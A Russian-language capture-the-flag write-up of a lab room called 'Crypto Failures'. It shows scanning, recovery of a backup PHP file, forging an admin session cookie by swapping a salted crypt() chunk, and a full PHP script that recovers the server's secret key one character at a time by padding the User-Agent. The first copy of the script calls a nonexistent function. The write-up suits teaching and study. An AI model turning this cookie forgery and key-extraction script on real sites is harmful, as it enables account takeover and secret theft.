March 13

Crypto Failures

@fefuctf @collapsz


Введение

Всем привет!

Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату Crypto Failures.

room title

Решение

Заносим IP-адрес машины в /etc/hosts

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47]
└─[130] echo '10.10.0.83 crypto.thm' | sudo tee -a /etc/hosts
10.10.0.83 crypto.thm

Сканирование показало классическую ситуацию: открыты порты 22 и 80:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47]
└─[130] nmap -A crypto.thm -oN nmap/crypto
# Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83
Warning: 10.10.0.83 giving up on port because retransmission cap hit (2).
Nmap scan report for crypto.thm (10.10.0.83)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA)
|_  256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to /
|_http-server-header: Apache/2.4.59 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

На веб-интерфейсе сначала получаем куку:

set-cookie

Затем получаем информацию о некоем .bak файлике:

.bak hint

Шустренько его находим:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43]
└─[0] ffuf -u 'http://crypto.thm/FUZZ.bak' -w /usr/share/wordlists/dirb/common.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://crypto.thm/FUZZ.bak
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htpasswd               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms]
.htaccess               [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms]
.hta                    [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms]
index.php               [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]

Забираем файл себе и приступаем к его изучению. That's where it becomes intetesting:

<?php

$target_url = "http://crypto.thm/";

$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$try = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $req = stream_req_create([
        "http" => [
            "method" => "GET",
            "header" =>
                "Host: crypto.thm\r\n" .
                "User-Agent: $user_agent\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
                "Accept-Language: en-US,en;q=0.5\r\n" .
                "Accept-Encoding: gzip, deflate, br\r\n" .
                "Connection: close\r\n" .
                "Upgrade-Insecure-Requests: 1\r\n"
        ]
    ]);

    $response = file_get_contents($target_url, false, $req);
    foreach ($http_response_header as $header) {
        if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
            preg_match('/secure_cookie=([^;]+)/', $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
                die("URL-encoded characters detected in secure_cookie!\n");
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = "";
while (true) {
    echo "\nCurrent key: {$found_text}\n";

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat("A", strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die("Failed to retrieve secure_cookie!\n");
    }

    echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $temp = substr($try, 1) . $char;
        print($temp . "\n");

        $hashed_test = crypt($temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo "Found character: $char\n";
            $found_text .= $char;
            $try = $temp;
            echo $try . "\n";
            echo $hashed_test . "\n";
            break;
        }
    }
}

?>

При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки user=guest для доступа к странице и какую-то secure_cookie:

Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/

И в index.php.bak видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:

<?php
include('config.php');

В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них.

Первой функцией объявляется generate_cookie:

function generate_cookie($user,$ENC_SECRET_KEY) {
    $SALT=generatesalt(2);
    $secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY; 
    $secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
    setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false);
    setcookie("user","$user",time()+3600,'/','',false);
}

По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:

$SALT=generatesalt(2); генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();

function generatesalt($n) {
$randomString='';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for ($i = 0; $i < $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}

$secure_cookie_string составляет строку по принципу user:user_agent:<secret_key>. При этом user берется из присвоенной ранее куки user, а ключ нам неизвестен.

$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT); вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:

function make_secure_cookie($text,$SALT) {
$secure_cookie='';
foreach ( str_split($text,8) as $el ) {
    $secure_cookie .= cryptstring($el,$SALT);
}

Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():

function cryptstring($what,$SALT){
return crypt($what,$SALT);
}
Функция crypt используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.

После всех этих процедур строка складывается воедино и отдается пользователю заголовком Set-Cookie.

Далее – verify_cookie():

function verify_cookie($ENC_SECRET_KEY){
    $crypted_cookie=$_COOKIE['secure_cookie'];
    $user=$_COOKIE['user'];
    $string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;

    $salt=substr($_COOKIE['secure_cookie'],0,2); 

    if(make_secure_cookie($string,$salt)===$crypted_cookie) {
        return true;
    } else {
        return false;
    }
}

Извлекаются куки secure_cookie и user, затем с использованием юзер-агента, куки user и enc_secret_key собирается $string, после чего из $string извлекается соль, с использованием этой соли генерируется "валидная" кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом:

1. При посещении страницы назначаются куки user и secure_cookie
2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:
1. Генерируется двухсимвольная соль
2. Формируется строка user:user_agent:<enc_key>
3. Полученная строка разбивается на чанки по 8 символов
4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()
5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie
3. При валидации куки сервер извлекает из secure_cookie подстроку – соль
4. При помощи извлеченной подстроки и куки user генерируется "валидная" кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie

Таким образом, генерация "валидной" куки происходит на "фронте" – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.

Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки:

secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa

Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки:

hashed chuncs

При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] cat generator.php 
<?php
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:<se
cret_key
>

Аналогично для хешированных чанков:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07]
└─[0] cat generator.php
<?php
$salt = 'iC';
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10]
└─[0] php generator.php
iCRBzB77Hs5CI
iCn5Awl7w6rFw
iCERGwsGetCzI
iCk7o1dhvzXFE
iCjjU3kvjir66
iCqMY9s22hA/s
iCmjKeKIZ8uW2
iCE0IRfzX3s1M
iC8UC6cyvBsUU
iCLXGAf95OnrA
iCKZQ6AfAA.wg
iCdfLie1MKVE2
Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.

Для эксплуатации первого этапа нам нужно подменить первый чанк на "вредоносный" – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22]
└─[0] cat generator.php            
<?php
$salt = 'iC';
$string = 'admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24]
└─[0] php generator.php | head -n 1
iCjrMyPrACzWM

Возвращаемся на веб-сервер:

web-server 1

И заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки user меняем на admin:

Теперь, сервер извлечет из куки user значение admin и выполнит проверку с солью iC, а сгенерированная в результате кука ничем не будет отличаться от нашей.

Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php 
admin:Mo
zilla/5.
0 (X11; 
Linux x8
6_64; rv
:128.0) 
Gecko/20
100101 F
irefox/1
28.0:<se
cret_key
>

Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34]
└─[0] cat generator.php  
<?php
$salt = 'iC';
$string = 'admin::<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36]
└─[0] php generator.php            
admin::<
secret_k
ey>

Видим, что в первом чанке теперь юзернейм, два двоеточия и последний символ принадлежит неизвестному секретному ключу, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ

Таким образом наш план действий:

  1. Отправить запрос с пустым юзер-агентом и получить новую куку
  2. Вычленить из нее первый чанк
  3. Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа
  4. Локально хешируем чанк admin::<symbol> до тех пор, пока не получим такой же чанк, как в куке
  5. После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем
  6. Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ
  7. Повторить процедуру до получения полного секрета

Шаг 1. Получили куку

empty user agent

Шаг 2. Первый чанк

chunk 1

Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным

┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44]
└─[0] cat brute.php    
<?php
$salt = 'fw';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

foreach (str_split($characters) as $char) {
    $string = "guest::$char";
    foreach (str_split($string, 8) as $el) {
        echo $el . "::" . crypt($el, $salt) . "\n";
    }
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48]
└─[0] php brute.php | grep fw1OtzoFC4VJM
guest::T::fw1OtzoFC4VJM

Уже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все.

<?php

$target_url = "http://crypto.thm/";

$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$test_string = substr($known_prefix, -8);

function get_secure_cookie($user_agent) {
    global $target_url;

    $context = stream_context_create([
        "http" => [
            "method" => "GET",
            "header" =>
                "Host: crypto.thm\r\n" .
                "User-Agent: $user_agent\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
                "Accept-Language: en-US,en;q=0.5\r\n" .
                "Accept-Encoding: gzip, deflate, br\r\n" .
                "Connection: close\r\n" .
                "Upgrade-Insecure-Requests: 1\r\n"
        ]
    ]);

    $response = file_get_contents($target_url, false, $context);

    foreach ($http_response_header as $header) {
        if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
            preg_match('/secure_cookie=([^;]+)/', $header, $matches);
            
            if (!isset($matches[1])) {
                return null;
            }

            $decoded_cookie = urldecode($matches[1]);

            if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
                die("URL-encoded characters detected in secure_cookie!\n");
            }

            return $decoded_cookie;
        }
    }
    return null;
}

$found_text = "";
while (true) {
    echo "\nCurrent key: {$found_text}\n";

    $secure_cookie = get_secure_cookie($user_agent);
    $user_agent = str_repeat("A", strlen($user_agent) + 7);
    if (!$secure_cookie) {
        die("Failed to retrieve secure_cookie!\n");
    }

    echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";

    $salt = substr($secure_cookie, 0, 2);

    $found_char = null;
    foreach (str_split($charset) as $char) {
        $test_string_temp = substr($test_string, 1) . $char;
        print($test_string_temp . "\n");

        $hashed_test = crypt($test_string_temp, $salt);
        if (str_contains($secure_cookie, $hashed_test)) {
            echo "Found character: $char\n";
            $found_text .= $char;
            $test_string = $test_string_temp;
            echo $test_string . "\n";
            echo $hashed_test . "\n";
            break;
        }
    }
}

?>

Подождав несколько минут, успешно сдампим 154-символьный флаг:/

flag dump

P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!